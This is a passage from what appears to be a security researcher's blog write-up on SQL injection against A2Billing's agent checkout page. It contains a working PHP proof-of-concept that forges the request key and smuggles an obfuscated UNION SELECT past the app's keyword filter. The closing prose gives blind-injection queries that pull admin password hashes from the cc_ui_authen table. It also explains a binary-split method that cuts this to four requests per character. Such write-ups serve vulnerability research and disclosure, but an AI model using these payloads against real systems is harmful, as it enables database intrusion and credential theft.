    $k_ipad = $key ^ $ipad;
    $k_opad = $key ^ $opad;
 
    return md5($k_opad . pack("H*", md5($k_ipad . $data)));
}
 
function sanitize_tag($input)
{
    $search = array (
        '@<script[^>]*?>.*?</script>@si', // Strip out javascript
        '@<[\/\!]*?[^<>]*?>@si', // Strip out HTML tags
        '@<style[^>]*?>.*?</style>@siU', // Strip style tags properly
        '@<![\s\S]*?--[ \t\n\r]*>@' // Strip multi-line comments
    );
 
    $output = preg_replace($search, '', $input);
 
    return $output;
}
 
/*
 * function sanitize_data
 */
function sanitize_data($input)
{
    if (is_array($input)) {
        // Sanitize Array
        foreach ($input as $var => $val) {
            $output[$var] = sanitize_data($val);
        }
    } else {
        // Remove whitespaces (not a must though)
        $input = trim($input);
        $input = str_replace('--', '', $input);
        $input = str_replace('..', '', $input);
        $input = str_replace(';', '', $input);
        $input = str_replace('/*', '', $input);
 
        // Injection sql
        $input = str_ireplace('HAVING', '', $input);
        $input = str_ireplace('UNION', '', $input);
        $input = str_ireplace('SUBSTRING', '', $input);
        $input = str_ireplace('ASCII', '', $input);
        $input = str_ireplace('SHA1', '', $input);
        #MD5 is used by md5secret
        #$input = str_ireplace('MD5', '', $input);
        $input = str_ireplace('ROW_COUNT', '', $input);
        $input = str_ireplace('SELECT', '', $input);
        $input = str_ireplace('INSERT', '', $input);
        $input = str_ireplace('CASE WHEN', '', $input);
        $input = str_ireplace('INFORMATION_SCHEMA', '', $input);
        $input = str_ireplace('DROP', '', $input);
        $input = str_ireplace('RLIKE', '', $input);
        $input = str_ireplace(' IF', '', $input);
        $input = str_ireplace(' OR ', '', $input);
        $input = str_ireplace('\\', '', $input);
        //$input = str_ireplace('DELETE', '', $input);
        $input = str_ireplace('CONCAT', '', $input);
        $input = str_ireplace('WHERE', '', $input);
        $input = str_ireplace('UPDATE', '', $input);
        $input = str_ireplace(' or 1', '', $input);
        $input = str_ireplace(' or true', '', $input);
        //Permutation - in mailing admin/Public/A2B_entity_mailtemplate.php
        // we use url with key=$loginkey$
        $input = str_ireplace('=$', '+$', $input);
        $input = str_ireplace('=', '', $input);
        $input = str_ireplace('+$', '=$', $input);
 
        if (get_magic_quotes_gpc()) {
            $input = stripslashes($input);
        }
        $input = sanitize_tag($input);
 
        $output = addslashes($input);
    }
    return $output;
}
$valid_query=sanitize_data(sanitize_data($x));
$req="transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,6,7,8,$x,10,11,12,13-//**- -&sess_id=4148";
$key=securitykey("asdf1212fasd121554sd4f5s45sdf","$y^456789111111 union select 1,2,3,4,0x706c75676e706179,6,7,8,$valid_query,10,11,12,13-- -^3^2");
$full_req="$req&key=$key";
echo "<pre>Using request -> $full_req<br>";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"https://HOST/a2billing/agent/Public/checkout_process.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"$full_req");
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
$outp = curl_exec ($ch);
curl_close($ch);
echo $outp;
?>

The previous POC show Full steps to take advantage of the redirection line, for instance , getting 1st password char Testing digit 1 -> No redirection in the response -> False Testing digit 8 -> redirection -> True Using python 13 seconds for 1 char , considering that a2b using 128 chars length hash consist of “0123456789abcdefff” mean we will need average 128*13 = around 27 mins

Multi threading this will help little bit

Around 3 mins , But still , too much threads and too much requests (1460 in my case) What about reducing this to the minimum possible requests!!!!

Fasting up the injection speed

Using modified version of bin2pos benchmarked method will save us a lot of Time Wont proceed with long introduction as am already tired , But you cak look up the used functions @ mysql manual so here is brief Using the follwing query

substring(bin(field((substring((select pwd_encoded from cc_ui_authen),1,1)),0,1,2,3,4,5,6,7)),1,1)

Will return 1 if the 1st char of the password is in “01234567” , and will return zero if not The 1 or zero for sure will be provided in the key input as demonstrated before our char isn’t within the previous list , so the return will be zero , that mean it’s for sure in the following charrset “89abcdef” Splitting this to 2 sets “89ab”,”cdef” Let’s test for the 1st set

substring(bin(field((substring((select pwd_encoded from cc_ui_authen),1,1)),8,9,0x41,0x42)),1,1)

result will 1 , splitting this to 2 sets as well we get “89”,”ab” testing for the 1st set

substring(bin(field((substring((select pwd_encoded from cc_ui_authen),1,1)),8,9)),1,1)

Still true , mean we are on the right direction now we just test if it’s in “8”

substring(bin(field((substring((select pwd_encoded from cc_ui_authen),1,1)),8)),1,1)

and another true result , so that’s our char Using this method we can obtain any char just in 4 requests , mean that our requests number were reduced to just 512 requests to obtain 128 chars!!!!!!!! That’s all for now , but not the end of the story yet , stay turned for part 2 (the more interesting part 😉) Glad I finished this actually , I do not think I will revise it even for once so if there are any mistakes just let me know abt it

Hope you enjoyed this writeup guys , and regarding python pocs or whatever , just drop me an email Till next time, Ahmed


comments powered by Disqus